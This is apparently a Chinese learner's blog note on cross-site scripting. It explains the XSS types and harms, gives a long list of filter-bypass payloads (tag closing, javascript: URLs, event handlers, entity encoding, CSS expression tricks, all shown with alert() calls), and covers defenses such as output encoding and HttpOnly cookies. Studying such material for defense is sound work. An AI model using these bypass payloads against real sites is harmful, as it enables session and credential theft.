xss漏洞原理

XSS

      • XSS原理
          • 简单介绍
          • 漏洞成因
          • XSS分类
            • 1.反射型
            • 2.存储型
            • 3.DOM型
          • XSS危害
      • XSS构造及漏洞利用
          • 1.XSS过滤绕过
            • 利用<>标记HTML、JavaScript
            • 关闭标签
            • 利用HTML标签属性执行XSS
            • 空格回车Tab绕过过滤
            • 利用标签属性进行转码
            • 产生事件
            • 扰乱XSS过滤规则
            • 利用字符编码
            • 利用CSS跨站过滤
        • 2.其他XSS漏洞
      • XSS防御
          • 输入过滤
          • 输出编码
          • 标签黑白名单过滤
          • 代码实体转义
          • httponly防止cookie被盗取
      • 总结

参考
XSS跨站脚本攻击原理及代码攻防演示(一)(很大一部分从他那来的,如侵立删)
XSS跨站总结
什么是XSS攻击,XSS有几种类型
XSS篇——XSS过滤绕过技巧

XSS原理

简单介绍

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

漏洞成因

(或者说是XSS原理)HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始。当动态页面中插入的内容含有这些特殊字符时,正好你要访问的服务器并没有对用户的输入进行安全方面的验证,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

XSS分类
1.反射型

反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。

对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与,要避免反射性 XSS,必须需要后端的协调,后端解析前端的数据时首先做相关的字串检测和转义处理。

此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

2.存储型

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

3.DOM型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

XSS危害
  • 网络钓鱼,包括盗取各类用户账号
  • 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
  • 劫持用户浏览器会话,从而执行任意 操作;例如进行非法转账、强制发表日志、发送电子邮件等
  • 强制弹出广告页面、恶意 刷流量等
  • 网站挂马,进行恶意操作;例如任意篡改页面信息、非法获取网站信息、删除文件等
  • 进行大量的客户端攻击;例如DDOS攻击、传播跨站脚本蠕虫等
  • 获取用户端信息 ;例如用户的浏览记录、真实IP地址、开放的端口等
  • 结合其他漏洞,如CSRF漏洞,实施进一步作恶
    xss漏洞原理_第1张图片

XSS构造及漏洞利用

1.XSS过滤绕过
利用<>标记HTML、JavaScript

在没有对"<>"和script等进行过滤的前提下, 通过

<script>alert(1)</script>
关闭标签
看到某个搜索框的js代码是这样一行:
<a href="/?search=xxxxx">暂无搜索结果</a>
搜素内容是在<a>标签内的
就可以构造语句:
"><script>alert(1)</script>
来进行关闭<a>标签.
利用HTML标签属性执行XSS

JavaScript中的伪协议声明了URL的主体是任意的JavaScript代码,它由JavaScript的解释器运行
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机.

<table background="javascript:alert(1)"></table>
<img src="javascript:alert(1)">

这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

空格回车Tab绕过过滤

假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

<img src= "java  script:alert(‘xss‘);" width=100>

这得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。

利用标签属性进行转码

过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤.

<img src="javascript:alert('xss');">
替换成: 
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”&#116”表示,:则表示&#58。
可以再进一步替换:
<img src="javascript:alert('xss');">
产生事件

如果不能依靠属性进行跨站,那么还可以利用事件处理函数如click,mouseover,load等.
W3C(万维网联盟)将事件分为3种不同的类别:

  • 用户接口(鼠标、键盘)
  • 逻辑(处理的结果)
  • 变化(对文档进行修改)
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>
扰乱XSS过滤规则
一个正常的XSS输入: 
    <img src="javascript:alert(0);">

转换大小写后的XSS:
    <IMG SRC="javascript:alert(0);">

大小写混淆的XSS<iMg sRC="JaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:
    <img src='javascript:alert(0);'>

不适用引号的XSS<img src=javascript:alert(0);>

不需要空格的XSS:
    <img/src="javascript:alert('xss');">

构造不同的全角字符: 
    <div style="{left:expression(alert('xss'))">

利用注释符
    <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">

\和\0<style>
        @imp\0ort 'java\0scri\pt:alert(/xss/)';
    </style>
    <style> 
        @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
    </style>

CSS关键字转码
    <div style="xss:\65xpression(alert('XSS'));"> 
    <div style="xss:\065xpression(alert('XSS'));">
    <div style="xss:\0065xpression(alert('XSS'));">
    
<!--<img src="-->>

<comment><img src="> 

<style><img src=</style><img src=x onerror=alert(1)//”>

利用字符编码
原始语句: 
    <img src="javascript:alert('xss');">

十进制编码 
    <img 
    src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&
    #108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">

    <img 
    src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#
    0116;&#058;&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#0120;&#
    0115;&#0115;&#039;&#041;&#059;">

    <img 
    src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#000011
    4&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&
    #0000114&#0000116&#000040&#000039&#0000120&#0000115&#0000115&#00
    0039&#000041&#000059">

十六进制编码
    <img 
    src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#
    x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x78&#x73&#x73&#x27&#x29&#x3b">
利用CSS跨站过滤

CSS的expression是在IE5版本之后支持使用的,用来把CSS属性和Javascript脚本关联起来.(这里的CSS属性可以是元素固有的属性,也可以是自定义属性。)
CSS属性后面可以是一段Javascript表达式,CSS属性的值等于Javascript表达式计算的结果。
在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。

<div style="background-image:url(javascript:alert('xss'))">

<style>
  body {background-image:url("javascript:alert(/xss/)");}
</style>

<div style="width:expression(alert('XSS'));">

<img src="#" style="xss:expression(alert(/xss/));">

<style>
    body {background-image: expression(alert("xss"));}
</style>

<div style="list-style-image:url(javascript:alert('XSS'));">

<div style="background-image:url(javascript:alert('XSS'));">

<img src=" javascript:alert('xss')">

<style>
    @import 'javascript:alert(/xss/)';
</style>

2.其他XSS漏洞

其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等.
其中Flash XSS漏洞中Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。

这些以后有机会再了解.

XSS防御

输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

输出编码

大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。

标签黑白名单过滤

黑名单
过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

白名单
白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。

代码实体转义

由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。

httponly防止cookie被盗取

如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。

一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
转自 Java EE 6.0 的 Cookie 类已经有设置 HttpOnly 的方法

总结

XSS(跨脚本攻击)是Web程序中常见漏洞,其主要攻击手段是在利用网站上的可由用户信息的地方,恶意注入含有攻击性的脚本,达到攻击网站或者窃取用户cookie等隐私信息的目的.
XSS漏洞测试流程:

  1. 在目标站点找到输入点,比如查询接口、留言板等;
  2. 输入一组"特殊字符+唯一识别字符",点击提交,查看返回的源码,是否做出对应处理;
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构成执行js的条件(构造闭合)
  4. 提交的脚本代码(各种绕过),看是否可以成功执行,如果成功就说明存在xss漏洞.

学了一周的XSS就看了点这些,主要是对于我来说太多知识点了,有些概念太陌生了.

你可能感兴趣的:(xss漏洞原理)